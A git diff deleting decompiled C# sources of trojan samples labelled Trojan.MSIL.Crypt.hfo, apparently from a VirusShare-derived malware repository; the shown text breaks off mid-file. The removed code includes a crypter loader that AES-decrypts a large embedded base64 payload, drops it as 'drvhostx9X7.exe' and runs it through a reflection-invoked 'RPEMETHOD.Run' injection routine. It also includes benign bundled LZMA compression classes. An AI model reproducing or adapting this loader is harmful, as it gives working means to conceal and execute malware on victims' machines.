FBD3nFS1PDu4YjdqRfjP4rRfCM5l+B0mmBxmuG15ty1mSouU+xgFoYh17Jx5sxV5pbm6GOfi+M2W4JAgorRYn2CaZeje48hYEPk6tT1x+2596ScoLnz+eF+ccsxKdYudAfy+iQqJxyKRgdQ8fR739fRrSp7Mq4IAJ/SqAEgvuzyB215ynjRXIu+SAES0uP9XtS7U8MRe6ckwnwHUndalWRzG2B1rgdIRvPRfHPRWxp4muXTNohR7Bc5GbU7GsEOP3QA6dmqe5WQ5KuG4y3fUVaMhkBCPV7kXHviWTcznnhGO8DuKI8cXBklOeaw/Re2iUeDyPVLbayc/YbwFRfElZUR1Z0uRLDDJwB/wY3EzJy/NNijFzMLL9q/Nu3wO9Wz+pCWfqky/bdRvv8wc/MMOPp8qb/NhE6cyas7vhh+z5KB5YEnbauBbthOi3POuk5MMVVUBSrizRKCsTLtGyCFaj5JX6K28o+faEYz2IBQBtV27AbdyqUwVeruYIAvEez6Kqomzqo++vmVTV053Vze2G/9cClbBTOQiKwQ7jkmVfMkVhNCLkOnbRVlwR0sKUnnT7dfcv1pkR1x3QACc/EQy393JpEGna9giwy21AAogt2Tbi2ZvNYQrJDEPYMMz82nSi5zmqTg0QCUZBYNhKWT9+qF/zbmwh/9pDOKCQ7nLAhdGJGOI7Kz+Pg0DHCTBgeh4EQUcR57VJ+QddZNyj6CHfb2r0x4qGVeK2PDtxIHdoODj06/31t7um7RnaMUxXsvg3C2c6120tgi/kVhJS/7NGCSktuuY1z3vpdUwWBux55m02BKT5fbXvYNPe6vkZldbGZd3zk3jvq8t3EUG3sMbWjVoE8dBFnJ30TGzeA4uHzDDj0TWw2CWhGMTTBmdnhPezsaOkgPsQ9UhX0sOLJIoqpd48x+tjiIuUWQnBI/aUJTLM/HQvHJH8/uDBuWZW6O6dcalgjalBJ80s/TNaMDeQfjX3PO5w6SMv/R3I5QbISRQ9vzhUOieLtc3OAPBTl+hiBsFE3f4rnusXxV4bLxu0GEr1C2WSvMg043no6IA78+9rAWsEEgDkmD/+HmmKdFgkkUJKZgiz57TJzZXG0S2GNCLp9pUAEm9wuFNPrydzO0PJQ1lYwQBeZhEJdyNG/Hwek1IqiI1fDx8o9xQru+3oz8w30Fp67tCCea9mEYAu7nmWNBDcp7Shw6qQxk9EGmIsxZPUODwoLPfjGPDiwK41GwxZblIFSpuZWrJdiZ9lnnaRZDSHza5DtrE1qIuui55iasX3jpqUyZNizZFqhvmip3RXnPCthwpZa8CsHbJ/s5SEIOWoGgUsnAexUwfbSX4m070BA3O7XlOJ5FBKN8oKPbKobH/3zkeliFdJrjUDva5ZqsiQrHukC4YPd4hwZzPQZGXnwuEUhK+ZWv9LnNpL/wT/qRwmfwA30jvcWjacqJ6i3hn7ydCHI8HkzL6UY9Ji2aoMNnVS7vxAaHD64LZxwNEWYCg7V8g43qfRVKGksDikfm1FpVAy8cwtMGDuYzvZaH87LbMh9Kwb0ZIsK9ERklWstf/SXMLH91+G0gSb7Bl9R+qbVa7iIFUZkhHNTLoODz+xjW6BOXxKHs9o4J9yJsunW79oVlVZcp4f74MfQai4konr0GdpKvlf7jGhK8pqvIVBChoW0U/+HJ+/Nl4p4s8eEf7zV8txDrXcBDQCQrzAYY0V3FdM4Or6RufUH6gEo/HEFUZ72/tmL5bW4Uulcoa/zAEb1YzkK2DDoev8HR0QNdA==", "j2G3DbYe6z8S5QdBt7k", "Qw6n3P9Ypg7SMz48Wax", "SHA1", 2, "Ns3b5TMz84Ana7KR", 128)); - File.WriteAllBytes(path, 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- Driver.Fz85EoMm36Nyn9W7ZbBr4j2KLe9("IMETHOD", "ibMethod", Xz43Epm2A6Ywa5M9Bon8N7Dct4, new object[1] - { - (object) "drvhostx9X7.exe" - }); - Driver.Fz85EoMm36Nyn9W7ZbBr4j2KLe9("RPEMETHOD", "Run", Xz43Epm2A6Ywa5M9Bon8N7Dct4, new object[2] - { - (object) numArray, - (object) path - }); - } - - private static bool Fz85EoMm36Nyn9W7ZbBr4j2KLe9( - string s9L5AfFd24MyK, - string Wq2k4FTa89BnPy35DjMm7, - Assembly Xz43Epm2A6Ywa5M9Bon8N7Dct4, - object[] Qo64HyZd7b3K8Ctk5RDp92NmJc79Fw) - { - try - { - Type type = Xz43Epm2A6Ywa5M9Bon8N7Dct4.GetType(s9L5AfFd24MyK); - if ((object) type != null) - { - MethodInfo method = type.GetMethod(Wq2k4FTa89BnPy35DjMm7); - if ((object) method != null) - return (bool) method.Invoke((object) null, Qo64HyZd7b3K8Ctk5RDp92NmJc79Fw); - } - } - catch - { - return false; - } - return false; - } - - public static byte[] g6WLd9n3T5QbMx7i2X8DqKe43Zys5J( - string j9M7AiEr35Skw2C4Ta, - string Dt59Kbw2LNi64Mds3CP, - string y8QPj54Cfx7ZHa62Gz, - string Fz85EoMm36Nyn9W7ZbBr4j2KLe9, - int Md6t2EZk3w8LGg47BsJ, - string Jj82Doz3S4Edr6A7CtPi, - int Xz28EbMr9k5LCd34Rs) - { - try - { - byte[] bytes1 = Encoding.ASCII.GetBytes(Jj82Doz3S4Edr6A7CtPi); - byte[] bytes2 = Encoding.ASCII.GetBytes(y8QPj54Cfx7ZHa62Gz); - byte[] buffer = Convert.FromBase64String(j9M7AiEr35Skw2C4Ta); - byte[] bytes3 = new PasswordDeriveBytes(Dt59Kbw2LNi64Mds3CP, bytes2, Fz85EoMm36Nyn9W7ZbBr4j2KLe9, Md6t2EZk3w8LGg47BsJ).GetBytes(Xz28EbMr9k5LCd34Rs / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[buffer.Length]; - int count = 0; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - count = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count)); - } - catch - { - return (byte[]) null; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Trojan.MSIL.Crypt.hfo.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Trojan.MSIL.Crypt.hfo.csproj deleted file mode 100644 index 2c0a05e1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Trojan.MSIL.Crypt.hfo.csproj +++ /dev/null @@ -1,63 +0,0 @@ - - - - - Debug - AnyCPU - {539E6A9B-2576-4D59-BED5-AFEBBA59B96A} - WinExe - P4CTEMP - 1.0.0.0 - SevenZip - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Trojan.MSIL.Crypt.hfo.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Trojan.MSIL.Crypt.hfo.sln deleted file mode 100644 index d0570d39..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Trojan.MSIL.Crypt.hfo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "P4CTEMP", "Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.csproj", "{539E6A9B-2576-4D59-BED5-AFEBBA59B96A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {539E6A9B-2576-4D59-BED5-AFEBBA59B96A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {539E6A9B-2576-4D59-BED5-AFEBBA59B96A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {539E6A9B-2576-4D59-BED5-AFEBBA59B96A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {539E6A9B-2576-4D59-BED5-AFEBBA59B96A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/AssemblyInfo.cs deleted file mode 100644 index 3287f136..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: AssemblyCompany("Jf4x8Q3C")] -[assembly: AssemblyTrademark("Ss5y4DXf")] -[assembly: AssemblyCopyright("q5WPe76Jx")] -[assembly: AssemblyProduct("Zt4i8F2Gb")] -[assembly: ComVisible(false)] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("i8WBe29Jf")] -[assembly: AssemblyTitle("Ds34Nmi8WT")] -[assembly: AssemblyFileVersion("2.4.0.3")] -[assembly: AssemblyVersion("2.4.0.3")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Buffer/InBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Buffer/InBuffer.cs deleted file mode 100644 index bc1b3954..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Buffer/InBuffer.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.InBuffer -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class InBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_Limit; - private uint m_BufferSize; - private Stream m_Stream; - private bool m_StreamWasExhausted; - private ulong m_ProcessedSize; - - public InBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void Init(Stream stream) - { - this.m_Stream = stream; - this.m_ProcessedSize = 0UL; - this.m_Limit = 0U; - this.m_Pos = 0U; - this.m_StreamWasExhausted = false; - } - - public bool ReadBlock() - { - if (this.m_StreamWasExhausted) - return false; - this.m_ProcessedSize += (ulong) this.m_Pos; - int num = this.m_Stream.Read(this.m_Buffer, 0, (int) this.m_BufferSize); - this.m_Pos = 0U; - this.m_Limit = (uint) num; - this.m_StreamWasExhausted = num == 0; - return !this.m_StreamWasExhausted; - } - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public bool ReadByte(byte b) - { - if (this.m_Pos >= this.m_Limit && !this.ReadBlock()) - return false; - b = this.m_Buffer[(IntPtr) this.m_Pos++]; - return true; - } - - public byte ReadByte() => this.m_Pos >= this.m_Limit && !this.ReadBlock() ? byte.MaxValue : this.m_Buffer[(IntPtr) this.m_Pos++]; - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Buffer/OutBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Buffer/OutBuffer.cs deleted file mode 100644 index 878fab82..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Buffer/OutBuffer.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.OutBuffer -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class OutBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_BufferSize; - private Stream m_Stream; - private ulong m_ProcessedSize; - - public OutBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void SetStream(Stream stream) => this.m_Stream = stream; - - public void FlushStream() => this.m_Stream.Flush(); - - public void CloseStream() => this.m_Stream.Close(); - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public void Init() - { - this.m_ProcessedSize = 0UL; - this.m_Pos = 0U; - } - - public void WriteByte(byte b) - { - this.m_Buffer[(IntPtr) this.m_Pos++] = b; - if (this.m_Pos < this.m_BufferSize) - return; - this.FlushData(); - } - - public void FlushData() - { - if (this.m_Pos == 0U) - return; - this.m_Stream.Write(this.m_Buffer, 0, (int) this.m_Pos); - this.m_Pos = 0U; - } - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/CRC.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/CRC.cs deleted file mode 100644 index e467f229..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/CRC.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CRC -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; - -namespace SevenZip -{ - internal class CRC - { - public static readonly uint[] Table = new uint[256]; - private uint _value = uint.MaxValue; - - static CRC() - { - for (uint index1 = 0; index1 < 256U; ++index1) - { - uint num = index1; - for (int index2 = 0; index2 < 8; ++index2) - { - if (((int) num & 1) != 0) - num = num >> 1 ^ 3988292384U; - else - num >>= 1; - } - CRC.Table[(IntPtr) index1] = num; - } - } - - public void Init() => this._value = uint.MaxValue; - - public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8; - - public void Update(byte[] data, uint offset, uint size) - { - for (uint index = 0; index < size; ++index) - this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8; - } - - public uint GetDigest() => this._value ^ uint.MaxValue; - - private static uint CalculateDigest(byte[] data, uint offset, uint size) - { - CRC crc = new CRC(); - crc.Update(data, offset, size); - return crc.GetDigest(); - } - - private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/CoderPropID.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/CoderPropID.cs deleted file mode 100644 index 273d1121..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/CoderPropID.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CoderPropID -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -namespace SevenZip -{ - public enum CoderPropID - { - DefaultProp, - DictionarySize, - UsedMemorySize, - Order, - BlockSize, - PosStateBits, - LitContextBits, - LitPosBits, - NumFastBytes, - MatchFinder, - MatchFinderCycles, - NumPasses, - Algorithm, - NumThreads, - EndMarker, - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/BinTree.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/BinTree.cs deleted file mode 100644 index ca4b4368..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/BinTree.cs +++ /dev/null @@ -1,370 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.BinTree -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class BinTree : InWindow, IMatchFinder, IInWindowStream - { - private const uint kHash2Size = 1024; - private const uint kHash3Size = 65536; - private const uint kBT2HashSize = 65536; - private const uint kStartMaxLen = 1; - private const uint kHash3Offset = 1024; - private const uint kEmptyHashValue = 0; - private const uint kMaxValForNormalize = 2147483647; - private uint _cyclicBufferPos; - private uint _cyclicBufferSize; - private uint _matchMaxLen; - private uint[] _son; - private uint[] _hash; - private uint _cutValue = (uint) byte.MaxValue; - private uint _hashMask; - private uint _hashSizeSum; - private bool HASH_ARRAY = true; - private uint kNumHashDirectBytes; - private uint kMinMatchCheck = 4; - private uint kFixHashSize = 66560; - - public void SetType(int numHashBytes) - { - this.HASH_ARRAY = numHashBytes > 2; - if (this.HASH_ARRAY) - { - this.kNumHashDirectBytes = 0U; - this.kMinMatchCheck = 4U; - this.kFixHashSize = 66560U; - } - else - { - this.kNumHashDirectBytes = 2U; - this.kMinMatchCheck = 3U; - this.kFixHashSize = 0U; - } - } - - public new void SetStream(Stream stream) => base.SetStream(stream); - - public new void ReleaseStream() => base.ReleaseStream(); - - public new void Init() - { - base.Init(); - for (uint index = 0; index < this._hashSizeSum; ++index) - this._hash[(IntPtr) index] = 0U; - this._cyclicBufferPos = 0U; - this.ReduceOffsets(-1); - } - - public new void MovePos() - { - if (++this._cyclicBufferPos >= this._cyclicBufferSize) - this._cyclicBufferPos = 0U; - base.MovePos(); - if (this._pos != (uint) int.MaxValue) - return; - this.Normalize(); - } - - public new byte GetIndexByte(int index) => base.GetIndexByte(index); - - public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit); - - public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes(); - - public void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter) - { - if (historySize > 2147483391U) - throw new Exception(); - this._cutValue = 16U + (matchMaxLen >> 1); - uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U; - this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv); - this._matchMaxLen = matchMaxLen; - uint num1 = historySize + 1U; - if ((int) this._cyclicBufferSize != (int) num1) - this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)]; - uint num2 = 65536; - if (this.HASH_ARRAY) - { - uint num3 = historySize - 1U; - uint num4 = num3 | num3 >> 1; - uint num5 = num4 | num4 >> 2; - uint num6 = num5 | num5 >> 4; - uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue; - if (num7 > 16777216U) - num7 >>= 1; - this._hashMask = num7; - num2 = num7 + 1U + this.kFixHashSize; - } - if ((int) num2 == (int) this._hashSizeSum) - return; - this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)]; - } - - public uint GetMatches(uint[] distances) - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - return 0; - } - } - uint matches = 0; - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3 = 1; - uint index2 = 0; - uint num4 = 0; - uint num5; - if (this.HASH_ARRAY) - { - uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - index2 = num6 & 1023U; - uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - num4 = num7 & (uint) ushort.MaxValue; - num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)]; - if (this.HASH_ARRAY) - { - uint num9 = this._hash[(IntPtr) index2]; - uint num10 = this._hash[(IntPtr) (1024U + num4)]; - this._hash[(IntPtr) index2] = this._pos; - this._hash[(IntPtr) (1024U + num4)] = this._pos; - if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1]) - { - uint[] numArray1 = distances; - int num11 = (int) matches; - uint num12 = (uint) (num11 + 1); - uint index3 = (uint) num11; - int num13; - num3 = (uint) (num13 = 2); - numArray1[(IntPtr) index3] = (uint) num13; - uint[] numArray2 = distances; - int num14 = (int) num12; - matches = (uint) (num14 + 1); - uint index4 = (uint) num14; - int num15 = (int) this._pos - (int) num9 - 1; - numArray2[(IntPtr) index4] = (uint) num15; - } - if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1]) - { - if ((int) num10 == (int) num9) - matches -= 2U; - uint[] numArray3 = distances; - int num16 = (int) matches; - uint num17 = (uint) (num16 + 1); - uint index5 = (uint) num16; - int num18; - num3 = (uint) (num18 = 3); - numArray3[(IntPtr) index5] = (uint) num18; - uint[] numArray4 = distances; - int num19 = (int) num17; - matches = (uint) (num19 + 1); - uint index6 = (uint) num19; - int num20 = (int) this._pos - (int) num10 - 1; - numArray4[(IntPtr) index6] = (uint) num20; - num9 = num10; - } - if (matches != 0U && (int) num9 == (int) num8) - { - matches -= 2U; - num3 = 1U; - } - } - this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos; - uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index8 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)]) - { - uint[] numArray5 = distances; - int num21 = (int) matches; - uint num22 = (uint) (num21 + 1); - uint index9 = (uint) num21; - int numHashDirectBytes; - num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes); - numArray5[(IntPtr) index9] = (uint) numHashDirectBytes; - uint[] numArray6 = distances; - int num23 = (int) num22; - matches = (uint) (num23 + 1); - uint index10 = (uint) num23; - int num24 = (int) this._pos - (int) num8 - 1; - numArray6[(IntPtr) index10] = (uint) num24; - } - uint cutValue = this._cutValue; - while (num8 > num2 && cutValue-- != 0U) - { - uint num25 = this._pos - num8; - uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1); - uint num26 = this._bufferOffset + num8; - uint num27 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - do - ; - while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]); - if (num3 < num27) - { - uint[] numArray7 = distances; - int num28 = (int) matches; - uint num29 = (uint) (num28 + 1); - uint index12 = (uint) num28; - int num30; - num3 = (uint) (num30 = (int) num27); - numArray7[(IntPtr) index12] = (uint) num30; - uint[] numArray8 = distances; - int num31 = (int) num29; - matches = (uint) (num31 + 1); - uint index13 = (uint) num31; - int num32 = (int) num25 - 1; - numArray8[(IntPtr) index13] = (uint) num32; - if ((int) num27 == (int) num1) - { - this._son[(IntPtr) index8] = this._son[(IntPtr) index11]; - this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)]; - goto label_29; - } - } - } - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - this._son[(IntPtr) index8] = num8; - index8 = index11 + 1U; - num8 = this._son[(IntPtr) index8]; - val2 = num27; - } - else - { - this._son[(IntPtr) index7] = num8; - index7 = index11; - num8 = this._son[(IntPtr) index7]; - val1 = num27; - } - } - this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U; -label_29: - this.MovePos(); - return matches; - } - - public void Skip(uint num) - { - do - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - goto label_19; - } - } - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3; - if (this.HASH_ARRAY) - { - uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - this._hash[(IntPtr) (num4 & 1023U)] = this._pos; - uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos; - num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num3 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)]; - this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos; - uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index3 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - uint cutValue = this._cutValue; - while (num6 > num2 && cutValue-- != 0U) - { - uint num7 = this._pos - num6; - uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1); - uint num8 = this._bufferOffset + num6; - uint num9 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - do - ; - while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + 